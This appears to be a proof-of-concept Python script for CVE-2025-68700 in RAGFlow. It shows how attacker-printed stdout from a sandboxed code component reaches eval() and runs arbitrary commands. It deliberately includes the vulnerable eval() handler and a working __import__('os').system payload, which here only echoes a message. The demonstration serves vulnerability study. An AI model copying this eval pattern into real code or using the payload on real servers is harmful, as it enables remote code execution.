Vulnerable code sample

import os
import sys

# In a real-world scenario, this would be part of a larger web application (e.g., Flask, Django)
# where an authenticated user submits code to be run in a "sandboxed" environment.
# The vulnerability lies not in the sandbox, but in how the output of the sandboxed
# process is handled by the main application.

def simulate_sandboxed_code_execution(user_provided_code):
    """
    Simulates the execution of user code in a supposed sandbox.
    In the actual RAGFlow application, this would be the Canvas CodeExec component.
    This function's return value represents the standard output (stdout) of that execution.
    """
    # The attacker doesn't need to break the sandbox. They just need to control
    # the string that gets printed to stdout.
    # A legitimate user's code might print a dictionary or list as a string, e.g., print("{'key': 'value'}").
    # An attacker's code will print a string that is a valid, malicious Python expression.
    
    # For this demonstration, we assume the user_provided_code successfully executes
    # and we just return its intended stdout string.
    
    # Example of a legitimate stdout string:
    # return "{'status': 'success', 'items': [1, 2, 3]}"
    
    # Example of a malicious stdout string crafted by an attacker:
    # The user's code in the sandbox would be:
    # print("__import__('os').system('echo VULNERABLE: Code execution successful')")
    return "__import__('os').system('echo VULNERABLE: An arbitrary command was executed on the server by CVE-2025-68700.')"


def process_canvas_output(stdout_data: str):
    """
    This function represents the vulnerable part of the RAGFlow backend.
    It receives the stdout from the executed code and attempts to parse it.

    CVE-2025-68700 Description: "untrusted data (stdout) is parsed using eval()
    with no filtering or sandboxing. The intended design was to 'automatically
    convert string results into Python objects,' but this effectively executes
    attacker-controlled code."
    """
    print(f"[SERVER LOG] Received stdout from component: '{stdout_data}'")
    print("[SERVER LOG] Attempting to parse stdout into a Python object using eval()...")
    
    try:
        # THE VULNERABILITY IS HERE:
        # eval() is used on untrusted input. It will execute any valid Python code,
        # not just parse data structures like dictionaries or lists.
        parsed_result = eval(stdout_data)
        
        print(f"[SERVER LOG] Successfully parsed stdout. Result: {parsed_result}")
        return parsed_result
    except Exception as e:
        print(f"[SERVER LOG] Error during eval: {e}", file=sys.stderr)
        return None

if __name__ == '__main__':
    # 1. An attacker, as a low-privileged authenticated user, uses the frontend
    #    Canvas CodeExec component to run a simple piece of code.
    #    The code is designed to print a malicious string to stdout.
    attacker_code_for_sandbox = """
# This code runs in the "sandbox". Its only goal is to print a malicious string.
import os
command_to_execute = 'echo VULNERABLE: An arbitrary command was executed on the server by CVE-2025-68700.'
print(f"__import__('os').system('{command_to_execute}')")
"""

    print("--- Simulating RAGFlow < 0.23.0 Vulnerability (CVE-2025-68700) ---")
    print("Step 1: Attacker submits code that prints a malicious string to stdout.")
    
    # 2. The "sandboxed" environment runs the code and captures the stdout.
    #    The stdout is now a string containing a command execution payload.
    captured_stdout = simulate_sandboxed_code_execution(attacker_code_for_sandbox)

    print("\nStep 2: The backend server receives the stdout from the sandboxed process.")
    
    # 3. The main application backend receives this stdout string and, in its
    #    attempt to be helpful by converting stringified objects back into
    #    Python objects, it uses the dangerous `eval()` function.
    print("\nStep 3: The vulnerable backend uses eval() to process the stdout, triggering the RCE.")
    print("-" * 20)
    
    # This call triggers the remote code execution.
    process_canvas_output(captured_stdout)
    
    print("-" * 20)
    print("\n[DEMO] The 'echo' command above was executed by the Python process, demonstrating the vulnerability.")